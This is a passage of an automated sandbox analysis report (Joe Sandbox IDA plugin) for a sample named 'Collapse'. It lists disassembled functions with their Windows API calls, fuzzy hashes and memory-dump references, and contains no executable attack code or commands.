GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 009A021E

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 27377b9ba10f1ea96bc34b8a87661344795971634e373bd851826e8e4d294b1f
Instruction ID: e24d3e8060b143dd30d44879f068afb565eedf5823552b5f1c3c919671c4dce9
Opcode Fuzzy Hash: 27377b9ba10f1ea96bc34b8a87661344795971634e373bd851826e8e4d294b1f
Instruction Fuzzy Hash: 2B518E71A44206AFDF20DFA5CC45BBAB7BCFF86700F144529E914E7191E7B19904CBA1

Function 00998D90 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction ID: a0260da1b92cb1ff9004de9c9ed0a198fed6290f11c1224337333e7ba1ee9987
Opcode Fuzzy Hash: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction Fuzzy Hash: F4021C71E012199BDF14CFADD880AAEB7B5FF49314F25826DE519E7380D731A941CB90

Function 009A0DA9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009A0E99

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 3adde572dfd79567f5640e2be8b94f8dee332eb5788f13d7ba39ea47b5ac2a4d
Instruction ID: 88507edbab113dea796688dc89283a3f01dbc50664673eed09c6d2ef88629ab6
Opcode Fuzzy Hash: 3adde572dfd79567f5640e2be8b94f8dee332eb5788f13d7ba39ea47b5ac2a4d
Instruction Fuzzy Hash: 1371E47294516C5FDF30EF28CC89AAEBBB9EB86300F1441D9E449A3251EB315E849F90

Function 0098E42C Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0098E438
IsDebuggerPresent.KERNEL32 ref: 0098E504
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0098E51D
UnhandledExceptionFilter.KERNEL32(?), ref: 0098E527

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 194f89f1063fa3e8ede78c62f6f81f6f8dc4aa4737ac8d83b828b84c6f50f681
Instruction ID: 06d1e9825005c5ae3c93a92e878fb9c517afc07ef513114c8c9cfa5d73766741
Opcode Fuzzy Hash: 194f89f1063fa3e8ede78c62f6f81f6f8dc4aa4737ac8d83b828b84c6f50f681
Instruction Fuzzy Hash: AD31F5B5D052289BDF21EFA5D9497CDBBB8AF08304F1041AAE40CAB250EB709B85DF45

Function 009A034E Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009A03A2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009A03EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009A04B2

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 337d0397867027d507568679455c3fde70bed0cfde430645ad59f5dd52819e75
Instruction ID: aacd5e259a65755ad111ebe95fac224a817892cd481a8438978bc666f19f0445
Opcode Fuzzy Hash: 337d0397867027d507568679455c3fde70bed0cfde430645ad59f5dd52819e75
Instruction Fuzzy Hash: B961C1719041079FEB28DF29CD82BAA77ACFF89310F104569E905C6285FB38D994DF90

Function 009972FD Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 009973F5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 009973FF
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 0099740C

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 285b21edbf2dbe765674862c36b2296026279c6e9061ffbe6b22e34af93699e8
Instruction ID: 3250904e0c90e71da194c0a880ebbb2cc275fba3cd230c7eba00a7da7e7c1121
Opcode Fuzzy Hash: 285b21edbf2dbe765674862c36b2296026279c6e9061ffbe6b22e34af93699e8
Instruction Fuzzy Hash: 0231E9749112299BCF21DF69DD8978DBBB8BF48310F5041EAE41CA7261E7709F818F44

Function 0098EB50 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0098EA53,?,?,?,?,0098EA77,000000FF,?,?,?,0098E971,00000000), ref: 0098EB88
GetSystemTimeAsFileTime.KERNEL32(?,F1D6E486,?,?,009AB30E,000000FF,?,0098EA53,?,?,?,?,0098EA77,000000FF,?), ref: 0098EB8C

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 4c6f1b55f255f014ffcc499e6b8024c29512a84fd86e08d2bde93d7695854709
Instruction ID: 258759e2e38b3ef304e22a97812bf820b8f55ce8edb56146007373fca5ae08e6
Opcode Fuzzy Hash: 4c6f1b55f255f014ffcc499e6b8024c29512a84fd86e08d2bde93d7695854709
Instruction Fuzzy Hash: CBF0E536A48524EFCB119F44DD01B5DBBECFB48F20F00436AE80293790DB38A8009BC4

Function 009A43FF Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009A435A,?,?,?,?,?,?,00000000), ref: 009A462C

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 8d2a791450e1565046fcd4e737bdad2c01cef58116e918cc1312b5375f11043b
Instruction ID: 3e229ffd28d5313782206689b3fa1f596cf72683d42cae7050a2950e5a435cd4
Opcode Fuzzy Hash: 8d2a791450e1565046fcd4e737bdad2c01cef58116e918cc1312b5375f11043b
Instruction Fuzzy Hash: AEB16071510608DFD715CF28C48AB657BE0FF86365F298658E8D9CF2A1C375E991CB80

Function 0098E094 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0098E0AA

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 58ccffe0e5053e26d930d14bc7746d104e6e60b1d3f7ba5635884c7b0e830723
Instruction ID: a8580fe01d8f521736211fdb87b9ccc1bef38b73ac0368b5019f32b558e821db
Opcode Fuzzy Hash: 58ccffe0e5053e26d930d14bc7746d104e6e60b1d3f7ba5635884c7b0e830723
Instruction Fuzzy Hash: 11A1A1B1D286058FDB18CF58E9956ADBBF5FB88324F24822ED451EB390D338A844CF50

Function 009A0CF8 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0099C0E0: HeapAlloc.KERNEL32(00000008,?,?,?,0099B000,00000001,00000364,?,00000005,000000FF,?,0099495A,009B56B0,0000000C), ref: 0099C121

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009A0E99
FindNextFileW.KERNEL32(00000000,?), ref: 009A0F8D
FindClose.KERNEL32(00000000), ref: 009A0FCC
FindClose.KERNEL32(00000000), ref: 009A0FFF

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: dad131455efb52aad1134851c5be4e5fceaff44e375c3fffa4f62c7538280230
Instruction ID: ef791eae7fa4830346353ee9cb60bc3e1454d1ccad3edb2360e218056fe49194
Opcode Fuzzy Hash: dad131455efb52aad1134851c5be4e5fceaff44e375c3fffa4f62c7538280230
Instruction Fuzzy Hash: A5515672900218AFDF24AF6C9C85ABE7BBDDFC6314F24419DF85997241EA309D419BA0

Function 00993EA0 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 00994010

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 0d8e04bbd53f00733da20fab5595d61b21d8e1911b63210171d42a0853bbb0dd
Instruction ID: a10682391c879064eb5330b18b89098584debdd15b7841a73bf424c70963db89
Opcode Fuzzy Hash: 0d8e04bbd53f00733da20fab5595d61b21d8e1911b63210171d42a0853bbb0dd
Instruction Fuzzy Hash: CCC1E1349047068FEF3ACF6CC584A7ABBB9EF65300F148A1DE55697691C331AE86CB11

Function 009A0600 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009A0654

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2a7eafb56fcfe39e29dcb4f67d68eb31d93d6e70641854c695d32bac7a4454cf
Instruction ID: 56263ccf9948c9b08de2769d5958341b1f3da372fce409a6ec14109279c8411a
Opcode Fuzzy Hash: 2a7eafb56fcfe39e29dcb4f67d68eb31d93d6e70641854c695d32bac7a4454cf
Instruction Fuzzy Hash: 3A21F572655206ABDF28AB28DD45B7A77ACEFC6314B14017AFD05C6241EB35ED108B90

Function 00992AA1 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00992C25

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 809a9b10de240f48ac40a011f498f7823f22a89fe2a9d6c100d76fa1704410d4
Instruction ID: ad32e7a26d2fb66354595e5cb96c083c75039e6307f3641d208f97531889496a
Opcode Fuzzy Hash: 809a9b10de240f48ac40a011f498f7823f22a89fe2a9d6c100d76fa1704410d4
Instruction Fuzzy Hash: 58B1F23090460BABCF28CF6CC9957BEB7F9AF46310F140A1DE89297691D734AE41CB51

Function 009A02B3 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

EnumSystemLocalesW.KERNEL32(009A034E,00000001,00000000,?,-00000050,?,009A013E,00000000,-00000002,00000000,?,00000055,?), ref: 009A0325

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bc33d1e595825256efc5b6691a73ff7ccae6e8620ba28933c6c3dbb1b46227af
Instruction ID: 0d4ac04a06ef7e041de09d4625a84ab8bd1eca8c2eddde85f28a9cd1ec24d4d5
Opcode Fuzzy Hash: bc33d1e595825256efc5b6691a73ff7ccae6e8620ba28933c6c3dbb1b46227af
Instruction Fuzzy Hash: 971129362043055FDF189F39C89167ABB95FFC0359B14442DE94B87B40D7716842CB80

Function 009A0720 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 009A0774

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 316f9551bf6291dfa189078de7b5e8c00bb2d84a324f6baa6a1a1f572ba87ce9
Instruction ID: 5993ab328d961ff739d2bc65dc56257f2122ca4bce4d695afc14d4da8454a727
Opcode Fuzzy Hash: 316f9551bf6291dfa189078de7b5e8c00bb2d84a324f6baa6a1a1f572ba87ce9
Instruction Fuzzy Hash: DB11E572654216ABDB14EF28DD46ABA77ECEF85320B14017AF905D7241EB38FD049BD0

Function 009A08CD Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,009A056A,00000000,00000000,?), ref: 009A08F9

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c6768faeb68e3c9273ca6111baf8c54caf2be31966fff86f9181ed2874dded95
Instruction ID: 57f00de1c269ffa6157ab682381f4c3852a5736ce5fb7cac9ed50e2cf53e7892
Opcode Fuzzy Hash: c6768faeb68e3c9273ca6111baf8c54caf2be31966fff86f9181ed2874dded95
Instruction Fuzzy Hash: 5201F933610112BBEF285B248C55BBB776CDBC1354F16442DEC46A3181EA74FE41DAD1

Function 009A05A1 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

EnumSystemLocalesW.KERNEL32(009A0600,00000001,?,?,-00000050,?,009A0106,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 009A05EB

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2b3b2724cb99f65c75004d1bf234fa920ea0d4f03caeca15112e190d73b3e2e8
Instruction ID: 637c881ea64669164c0e8620b2285fabcfb836665d60b614df44a1b8d413b8b7
Opcode Fuzzy Hash: 2b3b2724cb99f65c75004d1bf234fa920ea0d4f03caeca15112e190d73b3e2e8
Instruction Fuzzy Hash: DDF0F6366043045FEB245F39D881B7A7B95EFC2368F05452DF9464B690D6B1AC02DA90

Function 0099BFF0 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00997594: EnterCriticalSection.KERNEL32(?,?,0099B440,?,009B5B00,00000008,0099B332,?,?,?), ref: 009975A3

EnumSystemLocalesW.KERNEL32(0099BFE3,00000001,009B5B80,0000000C,0099B948,-00000050), ref: 0099C028

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
